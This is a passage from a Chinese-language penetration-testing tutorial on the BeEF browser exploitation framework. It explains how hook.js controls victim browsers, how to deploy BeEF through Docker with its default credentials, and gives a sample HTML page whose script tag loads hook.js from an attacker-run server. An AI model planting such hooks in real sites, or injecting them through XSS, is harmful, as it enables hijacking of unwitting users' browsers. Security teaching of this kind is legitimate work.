[TOC]

0x01:什么是Beef

BeEF,全称The Browser Exploitation Framework,是一款针对浏览器的渗透测试工具。 用Ruby语言开发的,Kali中默认安装的一个模块,用于实现对XSS漏洞的攻击和利用。

BeEF主要是往网页中插入一段名为hook.js的JS脚本代码,如果浏览器访问了有hook.js(钩子)的页面,就会被hook(勾住),勾连的浏览器会执行初始代码返回一些信息,接着目标主机会每隔一段时间(默认为1秒)就会向BeEF服务器发送一个请求,询问是否有新的代码需要执行。BeEF服务器本质上 就像一个Web应用,被分为前端和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示, BeEF持有者可以通过浏览器来 登录 BeEF 的后端,来控制前端(用户的浏览器)。BeEF一般和XSS漏洞结合使用。

0x02:BeEF的docker安装和使用

安装完docker并启动后,我们搜索BeEF框架的镜像:

docker search beef

image.jpeg

然后进行安装:

docker pull janes/beef

image.jpeg
等待一段时间,安装完成之后,启动docker,然后运行:

service docker start //启动docker服务               
docker run -p 3000:3000 janes/beef 这句话意思是 运行这个镜像,并将默认的3000端口映射到3000端口。

image.jpeg

现在,我们通过浏览器打开BeEF的界面:
http://xxx.xxx.xxx.xxx:3000/ui/authentication 默认账号密码:beef/beef
image.jpeg

此时,我们已经进入了BeEF页面里面,但是发现什么都没有。 最后我们要设置一个钩子,将下面这段代码保存为beef.html:

<html> 
<head>    
<title>BeEF测试</title> 
</head> 
<body>    
<script src="http://192.168.206.143:3000/hook.js"></script> 
</body> 
</html>

这是一个最简单的例子,